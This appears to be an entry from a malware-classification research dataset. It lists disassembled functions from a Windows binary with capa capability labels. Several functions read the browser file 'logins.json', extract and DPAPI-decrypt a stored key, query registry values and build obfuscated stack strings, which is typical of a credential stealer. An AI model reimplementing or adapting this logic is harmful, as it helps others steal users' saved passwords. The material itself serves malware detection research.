joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10086ea0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10102428]
push ebx
push esi
inc eax
mov dword [ebp - 0xc], edx
push edi
push eax
mov byte [0x10108328], 0
call fcn.100becd2
add esp, 4
mov esi, eax
cmp dword [0x1010242c], 0x10
mov ecx, 0x10102418
mov edx, esi
cmovae ecx, dword [0x10102418]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10086ee5
push 0
push 0
push 4
push 0
push 0
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10086fa9
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
test esi, esi
je 0x10086fa9
push esi
call fcn.100c5123
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10086f41
push esi
push 0
push ebx
call fcn.100c1600
add esp, 0xc
push 0
lea eax, [ebp - 8]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10086fa9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.100c5123
mov edi, eax
add esp, 4
test edi, edi
je 0x10086f76
push esi
push 0
push edi
call fcn.100c1600
add esp, 0xc
xor ecx, ecx
test esi, esi
je 0x10086fa9
lea eax, [ebx + 2]
nop
cmp byte [eax - 2], 0x6b
jne 0x10086fa3
cmp byte [eax - 1], 0x65
jne 0x10086fa3
cmp byte [eax], 0x79
jne 0x10086fa3
cmp byte [eax + 1], 0x22
jne 0x10086fa3
cmp byte [eax + 2], 0x3a
jne 0x10086fa3
cmp byte [eax + 3], 0x22
je 0x10086fbc
inc ecx
inc eax
cmp ecx, esi
jb 0x10086f80
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be769
mov esp, ebp
pop ebp
ret
mov al, byte [ecx + ebx + 6]
cmp al, 0x22
je 0x10086fde
add ecx, 6
mov edx, edi
add ecx, ebx
nop dword [eax + eax]
mov byte [edx], al
lea ecx, [ecx + 1]
mov al, byte [ecx]
lea edx, [edx + 1]
cmp al, 0x22
jne 0x10086fd0
push ebx
call fcn.100c5108
add esp, 4
push edi
push 0x10108328
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10108328
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xc]
push edi
mov dword [ecx], eax
call fcn.100c5108
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.100be769
mov esp, ebp
pop ebp
ret
Function at 0x10087030
Capabilities:
Decode data using base64 via dword translation table
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, edx
push ebx
push esi
push edi
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
call fcn.100c5123
mov edi, dword [ebp - 0x1c]
add esp, 4
mov ebx, eax
push edi
push 0
push ebx
call fcn.100c1600
mov eax, edi
add esp, 0xc
xor esi, esi
test al, 3
jne 0x100870e0
xor edx, edx
test eax, eax
je 0x100870e0
mov al, byte [edx + 0x10108328]
cmp al, 0x3d
je 0x100870e0
cmp al, 0x2b
jl case.default.0x1008709b
cmp al, 0x7a
jg case.default.0x1008709b
movsx eax, al
mov cl, byte [eax + 0x100fa540]
cmp cl, 0xff
je case.default.0x1008709b
mov eax, edx
and eax, 3
jmp dword [eax*4 + 0x10087198]
shl cl, 2
mov byte [esi + ebx], cl
jmp 0x100870d7
mov al, cl
shr al, 4
and al, 3
or byte [esi + ebx], al
inc esi
shl cl, 4
mov byte [esi + ebx], cl
jmp 0x100870d7
mov al, cl
shr al, 2
and al, 0xf
or byte [esi + ebx], al
inc esi
shl cl, 6
mov byte [esi + ebx], cl
jmp 0x100870d7
or byte [esi + ebx], cl
lea eax, [esi + ebx]
inc esi
inc edx
cmp edx, edi
jb 0x10087076
jmp 0x100870e0
xor esi, esi
lea edi, [esi - 5]
push edi
call fcn.100c5123
add esp, 4
mov dword [ebp - 0x1c], eax
push edi
push 0
push eax
call fcn.100c1600
add esp, 0xc
cmp esi, 5
mov esi, dword [ebp - 0x1c]
jbe 0x10087111
lea ecx, [ebx + 5]
push edi
push ecx
push esi
call fcn.100c17c0
add esp, 0xc
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x10087183
mov edi, dword [ebp - 0x18]
test edi, edi
je 0x10087152
mov esi, dword [ebp - 0x14]
mov edx, edi
mov ecx, dword [ebp - 0x20]
sub esi, ecx
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x10087144
mov eax, dword [ebp - 0x20]
push ebx
mov byte [edi + eax], 0
call fcn.100c5108
add esp, 4
push dword [ebp - 0x1c]
call fcn.100c5108
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100be769
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be769
mov esp, ebp
pop ebp
ret
Function at 0x1008b050
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
lea ecx, [ebp - 0x20]
push esi
push edi
add eax, 0xc
mov dword [ebp - 0x10], 0
push eax
mov dword [ebp - 0xc], 0xf
mov byte [ebp - 0x20], 0
call fcn.100b5850
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov esi, dword [ebp - 0xc]
mov eax, esi
cmovae ecx, dword [ebp + 8]
mov edi, dword [ebp + 0x18]
mov edx, dword [ebp - 0x10]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008b0c3
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
lea esi, [eax + edx]
push esi
call fcn.100c21a0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1008b0d3
mov byte [ebp - 8], 0
lea ecx, [ebp - 0x20]
push dword [ebp - 8]
push edi
call fcn.100b4330
push str.logins.json
lea ecx, [ebp - 0x20]
call fcn.100b2580
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp + 8]
call fcn.100b2640
mov edx, dword [ebp - 0xc]
cmp edx, 0x10
jb 0x1008b120
mov ecx, dword [ebp - 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b116
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b214
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 0x100fb3d4
cmovae eax, dword [ebp + 8]
push eax
call fcn.100c885d
add esp, 8
test eax, eax
je 0x1008b1d4
push eax
call fcn.100c88eb
push 0x186a0
call fcn.100c5123
add esp, 8
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov esi, eax
cmovae ecx, dword [ebp + 8]
push 0
push 0x80
push 4
push 0
push 7
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x1008b192
push 0
lea ecx, [ebp - 8]
push ecx
push 0x186a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008b1c2
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b1b8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b219
push edx
push ecx
call fcn.100becc4
add esp, 8
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be769
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008b204
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b1fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b21e
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100cb6d0
call fcn.100cb6d0
call fcn.100cb6d0
int3
Function at 0x100a1100
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x400
lea eax, [ebp - 0x404]
mov esi, ecx
push 0
push eax
call fcn.100c1600
add esp, 0xc
mov dword [ebp - 0x408], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x40c]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100a1186
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 0x408]
push ecx
lea ecx, [ebp - 0x404]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x404]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [esi], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a11b0
sub ecx, edx
lea eax, [ebp - 0x404]
push ecx
push eax
mov ecx, esi
call fcn.100b2e90
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x100a11f8
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a11ee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a124b
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x100a123a
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1230
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a124b
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100cb6d0
int3
Function at 0x100a44f0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [0x10104388]
push ebx
push esi
mov esi, ecx
mov ecx, dword [0x1010438c]
mov dword [ebp - 0x30], esi
push edi
cmp edx, ecx
jne 0x100a453f
mov dword [esi], 0
mov eax, esi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be769
mov esp, ebp
pop ebp
ret
mov eax, ecx
xor ebx, ebx
sub eax, edx
mov dword [ebp - 0x28], ebx
xor edi, edi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], edi
lea edx, [eax - 1]
xor eax, eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x24], eax
test edx, edx
je 0x100a45a0
cmp edx, 0x7fffffff
ja 0x100a469b
push edx
lea ecx, [ebp - 0x10]
call fcn.100b70b0
mov ebx, dword [ebp - 0x34]
push ebx
push edi
mov edi, dword [ebp - 0x10]
push edi
call fcn.100c1600
mov ecx, dword [0x1010438c]
lea eax, [ebx + edi]
mov ebx, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ebx
sub ecx, dword [0x10104388]
mov edx, 1
sub ecx, edx
je 0x100a45ce
mov ebx, dword [ebp - 0x24]
mov esi, dword [0x10104388]
lea edx, [edx + 1]
mov al, byte [esi + edx - 1]
mov byte [ebx + edx - 2], al
sub ecx, 1
jne 0x100a45b2
mov ebx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
sub eax, edi
mov dword [ebp - 0x1c], edi
inc eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x100a464a
xor esi, esi
mov ecx, edi
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x18], esi
jbe 0x100a462e
mov eax, dword [ebp - 0x14]
add eax, esi
cmp ecx, ebx
je 0x100a4615
mov al, byte [eax]
mov byte [ecx], al
inc ecx
mov dword [ebp - 0xc], ecx
jmp 0x100a4625
push eax
push ecx
lea ecx, [ebp - 0x10]
call fcn.100b3a30
mov ebx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x100a4602
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
mov dword [eax], edi
mov dword [eax + 4], ecx
mov dword [eax + 8], ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be769
mov esp, ebp
pop ebp
ret
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
test edi, edi
je 0x100a4688
sub ebx, edi
mov eax, edi
cmp ebx, 0x1000
jb 0x100a467e
mov edi, dword [edi - 4]
add ebx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a46a0
push ebx
push edi
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100b57f0
call fcn.100cb6d0
int3
Function at 0x100a46b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
mov dword [ebp - 0x220], ecx
push edi
cmp esi, ebx
je 0x100a478c
mov eax, dword [ebx]
mov ebx, dword [ebx + 4]
mov ecx, dword [esi + 8]
sub ebx, eax
mov edi, dword [esi]
sub ecx, edi
mov dword [ebp - 0x21c], eax
cmp ebx, ecx
jbe 0x100a477b
cmp ebx, 0x7fffffff
ja 0x100a4845
mov edx, ecx
mov eax, 0x7fffffff
shr edx, 1
sub eax, edx
cmp ecx, eax
jbe 0x100a4718
mov dword [ebp - 0x218], ebx
jmp 0x100a4726
lea eax, [edx + ecx]
cmp eax, ebx
cmovb eax, ebx
mov dword [ebp - 0x218], eax
test edi, edi
je 0x100a4766
cmp ecx, 0x1000
jb 0x100a4748
mov edx, dword [edi - 4]
add ecx, 0x23
sub edi, edx
lea eax, [edi - 4]
cmp eax, 0x1f
ja 0x100a484a
mov edi, edx
push ecx
push edi
call fcn.100becc4
mov dword [esi], 0
add esp, 8
mov dword [esi + 4], 0
mov dword [esi + 8], 0
push dword [ebp - 0x218]
mov ecx, esi
call fcn.100b70b0
mov edi, dword [esi]
mov eax, dword [ebp - 0x21c]
push ebx
push eax
push edi
call fcn.100c21a0
lea eax, [ebx + edi]
add esp, 0xc
mov dword [esi + 4], eax
cmp dword [ebp + 0x20], 0x10
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x200
push ecx
push 0
lea eax, [ebp + 0xc]
cmovae eax, dword [ebp + 0xc]
push 0
push eax
push dword [ebp - 0x220]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100a4804
xor edi, edi
cmp dword [ebp - 0x210], edi
jbe 0x100a4804
nop
mov cl, byte [ebp + edi - 0x20c]
mov eax, dword [esi + 4]
mov byte [ebp - 0x211], cl
cmp eax, dword [esi + 8]
je 0x100a47ec
mov byte [eax], cl
inc dword [esi + 4]
jmp 0x100a47fb
lea ecx, [ebp - 0x211]
push ecx
push eax
mov ecx, esi
call fcn.100b3a30
inc edi
cmp edi, dword [ebp - 0x210]
jb 0x100a47d0
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x100a4834
mov ecx, dword [ebp + 0xc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a482a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a484a
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100b57f0
call fcn.100cb6d0
int3
Function at 0x100a9ff0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
sub esp, 0x18
mov ecx, esp
push 0x10101f20
call fcn.100b2700
lea ecx, [ebp - 0x4c]
call fcn.10084620
add esp, 0x18
push eax
push ecx
lea ecx, [ebp - 0x34]
call fcn.10086a50
add esp, 4
lea ecx, [ebp - 0x1c]
mov edx, eax
call fcn.100b3330
mov edx, dword [ebp - 0x20]
add esp, 4
cmp edx, 0x10
jb 0x100aa068
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100aa05e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100aa16d
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp edx, 0x10
jb 0x100aa0ae
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100aa0a4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100aa16d
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100aa0ed
test al, 0x10
je 0x100aa0ed
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.100b2700
sub esp, 0x18
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.100b2700
call fcn.100a9030
add esp, 0x30
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x100aa11d
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100aa113
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100aa172
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp edx, 0x10
jb 0x100aa15f
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100aa155
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100aa172
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100cb6d0
call fcn.100cb6d0
int3
Function at 0x100b4490
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x100b44c1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x100b44b0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x100dd08e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100dcf04
Function at 0x100013e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc9c
push ebx
push esi
push edi
push ecx
mov edi, ecx
call fcn.100067c0
mov eax, 0x43
mov dword [ebp - 0x5a], 0x720075
mov word [ebp - 0x5c], ax
mov esi, 0x6f
mov eax, 0x52
mov dword [ebp - 0x72], 0x690057
mov word [ebp - 0x8c], ax
mov ecx, 0x72
mov eax, 0x4d
mov word [ebp - 0x56], cx
mov word [ebp - 0x86], ax
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov eax, 0x72
push 0x800
mov word [ebp - 0x24], ax
lea eax, [ebp - 0xc98]
mov word [ebp - 0x80], cx
lea ecx, [esi + 5]
push 0
push eax
mov dword [ebp - 0x84], 0x630069
mov dword [ebp - 0x90], 0x410057
mov dword [ebp - 0x8a], 0x5c0045
mov dword [ebp - 0x98], 0x4f0053
mov dword [ebp - 0x7e], 0x73006f
mov dword [ebp - 0x7a], 0x66006f
mov dword [ebp - 0x4a], 0x730072
mov dword [ebp - 0x94], 0x540046
mov dword [ebp - 0x64], 0x4e0020
mov dword [ebp - 0x54], 0x6e0065
mov dword [ebp - 0x46], 0x6f0069
mov dword [ebp - 0x76], 0x5c0074
mov dword [ebp - 0x60], 0x5c0054
mov dword [ebp - 0x50], 0x560074
mov dword [ebp - 0x68], 0x730077
mov dword [ebp - 0x6e], 0x64006e
mov dword [ebp - 0x42], 0x6e
mov word [ebp - 0x6a], si
mov dword [ebp - 0x22], 0x64006f
mov dword [ebp - 0x1e], 0x630075
mov dword [ebp - 0x28], 0x50006c
mov dword [ebp - 0x2c], 0x610074
mov dword [ebp - 0x1a], 0x490074
mov dword [ebp - 0x30], 0x690067
mov dword [ebp - 0x16], 0x64
mov dword [ebp - 0x34], 0x690044
call fcn.1000eb20
add esp, 0xc
mov dword [ebp - 4], 0x800
lea eax, [ebp - 8]
lea edx, [ebp - 0x98]
push eax
push 0x101
push ecx
call fcn.100057b0
add esp, 0xc
test eax, eax
jne 0x100015f6
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc98]
push eax
push 0
push ecx
mov ecx, dword [ebp - 8]
lea edx, [ebp - 0x34]
call fcn.10002140
add esp, 0x10
test eax, eax
jne 0x100015ee
push 0x400
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.1000eb20
add esp, 0xc
lea edx, [ebp - 0x498]
lea ecx, [ebp - 0xc98]
push dword [ebp - 4]
call fcn.10004a20
add esp, 4
mov dword [ebp - 0x10], 0x730025
xor eax, eax
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x498]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100015b0
sub eax, edx
lea esi, [eax + 1]
cmp esi, 0x3fffffff
jle 0x100015c8
xor eax, eax
jmp 0x100015e0
lea eax, [esi + esi]
call fcn.1000d130
mov ecx, esp
lea edx, [ebp - 0x498]
push 3
push esi
call fcn.100061c0
push eax
lea eax, [ebp - 0x10]
push eax
push edi
call fcn.10006d20
add esp, 0xc
mov ecx, dword [ebp - 8]
call fcn.10002300
lea esp, [ebp - 0xca8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001910
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x864
mov eax, dword [esp + 0x874]
mov dword [0x1003b93c], eax
mov eax, dword [esp + 0x86c]
push 0x400
mov dword [0x1003b944], eax
lea eax, [esp + 0x468]
push 0
push eax
call fcn.1000eb20
push 0x400
lea eax, [esp + 0x74]
push 0
push eax
call fcn.1000eb20
lea ecx, [esp + 0x47c]
call fcn.10001000
lea eax, [esp + 0x64]
mov word [esp + 0x64], 0x4f5c
push eax
lea eax, [esp + 0x480]
mov dword [esp + 0x7a], 0x6674742e
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x6f], 0x61536e65
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x8c]
mov word [esp + 0x81], 0x6269
push 0x400
push eax
mov word [esp + 0x8c], 0x646c
mov word [esp + 0x87], 0x6d65
mov word [esp + 0x84], 0x2d73
mov byte [esp + 0x8b], 0x6f
mov byte [esp + 0x83], 0x6e
mov byte [esp + 0x86], 0x53
mov byte [esp + 0x92], 0
mov byte [esp + 0x7e], 0x70
mov dword [esp + 0x6f], 0x6c756765
mov dword [esp + 0x6b], 0x522d736e
mov word [esp + 0x75], 0x742e
mov dword [esp + 0x66], 0x536e6570
mov word [esp + 0x78], 0x66
mov word [esp + 0x64], 0x4f5c
mov byte [esp + 0x6a], 0x61
mov word [esp + 0x73], 0x7261
mov byte [esp + 0x77], 0x74
mov word [esp + 0x4c], 0x4f5c
mov word [esp + 0x5c], 0x742e
mov dword [esp + 0x57], 0x696c6174
mov word [esp + 0x4f], 0x6e65
mov byte [esp + 0x4e], 0x70
mov word [esp + 0x5f], 0x66
mov word [esp + 0x52], 0x6e61
mov byte [esp + 0x51], 0x53
mov word [esp + 0x55], 0x492d
mov byte [esp + 0x54], 0x73
mov byte [esp + 0x5b], 0x63
mov byte [esp + 0x5e], 0x74
mov dword [esp + 0x3a], 0x536e6570
mov dword [esp + 0x46], 0x6674742e
mov dword [esp + 0x41], 0x6c6f422d
mov word [esp + 0x38], 0x4f5c
mov word [esp + 0x3f], 0x736e
mov byte [esp + 0x3e], 0x61
mov byte [esp + 0x45], 0x64
mov byte [esp + 0x4a], 0
mov dword [esp + 0x31], 0x732573
mov byte [esp + 0x30], 0x25
call fcn.10006180
lea ecx, [esp + 0x94]
call fcn.100292f0
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x498]
push eax
lea eax, [esp + 0x38]
push eax
push 0xffffffffffffffff
push 0x400
lea eax, [esp + 0xa8]
push eax
call fcn.10006180
add esp, 0x48
lea ecx, [esp + 0x64]
call fcn.100292f0
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x468]
push eax
lea eax, [esp + 8]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x74]
push 0x400
push eax
call fcn.10006180
lea ecx, [esp + 0x7c]
call fcn.100292f0
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x480]
push eax
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x8c]
push 0x400
push eax
call fcn.10006180
lea ecx, [esp + 0x94]
call fcn.100292f0
add esp, 0x894
ret